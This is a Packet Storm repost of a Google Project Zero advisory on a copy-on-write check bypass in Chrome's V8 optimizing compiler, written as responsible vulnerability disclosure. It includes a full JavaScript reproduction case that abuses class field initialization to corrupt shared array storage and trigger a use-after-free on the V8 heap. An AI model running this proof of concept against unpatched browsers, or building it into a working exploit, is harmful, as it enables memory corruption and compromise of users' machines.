what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Chrome JSNativeContextSpecialization::BuildElementAccess Bypass

Chrome JSNativeContextSpecialization::BuildElementAccess Bypass
Posted Jan 18, 2023
Authored by Google Security Research, Glazvunov

Chrome suffers from a copy-on-write check bypass in JSNativeContextSpecialization::BuildElementAccess.

tags | exploit
SHA-256 | e557b72be711db4993d6e8b8912d3a2b8d46fe92a763b730da3097b4ad6eb837

Chrome JSNativeContextSpecialization::BuildElementAccess Bypass

Change Mirror Download
Chrome: Copy-on-write check bypass in JSNativeContextSpecialization::BuildElementAccess

VULNERABILITY DETAILS
Copy-on-write is one of V8's internal optimization features that allows multiple JavaScript objects to share the same element store. This feature is primarily used to optimize creation of JavaScript arrays from literals. It's important that every function that can add a new element to a JS object or modify an existing one first checks that the element store isn't marked as COW and makes a copy of the store if needed. Otherwise, the element will be unexpectedly changed for every object that uses the same store.

Consider the implementation of the safety check in `JSNativeContextSpecialization::BuildElementAccess`:

```
JSNativeContextSpecialization::ValueEffectControl
JSNativeContextSpecialization::BuildElementAccess(
Node* receiver, Node* index, Node* value, Node* effect, Node* control,
Node* context, ElementAccessInfo const& access_info,
KeyedAccessMode const& keyed_mode) {
[...]
if (keyed_mode.access_mode() == AccessMode::kStore &&
IsSmiOrObjectElementsKind(elements_kind) &&
!IsCOWHandlingStoreMode(keyed_mode.store_mode())) {
effect = graph()->NewNode(
simplified()->CheckMaps(
CheckMapsFlag::kNone,
ZoneHandleSet<Map>(factory()->fixed_array_map())),
elements, effect, control);
}
[...]
}
```

The `CheckMaps` node is only inserted if the current access mode is `kStore`. However, there are other modes that can also result in storing an element, and one of them is `kDefine`. A call to the `Object.defineProperty` function won't lead to an access in this mode, but an attacker can take advantage of class field initialization to trigger it:

```
function ReturnHolder() { return define_property_holder }
class Trigger extends ReturnHolder { 123 = new_value; }
```

The `Trigger` constructor will perform an element access that's equivalent to the expression `define_property_holder[123] = new_value`, but will set the access mode to `kDefine`, thus bypassing the safety check.

There are likely multiple ways to exploit the issue. The approach the attached reproduction case takes is to create two `PACKED_SMI_ELEMENTS` arrays that share the element store and then get one of the arrays to transition to the `PACKED_ELEMENTS` kind and store a `HeapObject` element. Since copying elements from the corrupted Smi array to another Smi array won't trigger any write barriers, we can hide the pointer from the garbage collector in a new array and trigger a use-after-free on a V8 heap address.


VERSION
V8 version 10.9.0 (candidate)
Google Chrome 107.0.5304.87 (Official Build) (64-bit)


REPRODUCTION CASE
```
function ForceGC() { try { new ArrayBuffer(2 ** 34); } catch {} }

old_space_array = Array(1, 2);

function CopyElement(from, to) { to[0] = from[0]; } // no write barrier for smi arrays
for (let i = 0; i < 10000; ++i) {
CopyElement(old_space_array, old_space_array);
}

ForceGC();

function MakeCOW() { return [0]; }
original_cow_object = MakeCOW();

function MakeCopy() {
let copy = original_cow_object.concat(); // create a new object with COW elements
copy.splice(); // copy the elements
return copy;
}

new_value = 1;
new_value = {}; // mark the cell as mutable

function ReturnHolder() { return define_property_holder }
class Trigger extends ReturnHolder { 0 = new_value; }

for (let i = 0; i < 10000; ++i) {
define_property_holder = MakeCopy();
new Trigger();
}

new_value = {};
define_property_holder = MakeCOW();
new Trigger();

new_space_array = MakeCOW();
new_space_array.splice();

CopyElement(new_space_array, old_space_array);

new_value = \"\";
define_property_holder = MakeCOW();
new Trigger();

new_space_array = null;
ForceGC();

console.log(old_space_array[0][0]);

```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-02-06.





Found by: glazunov@google.com

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close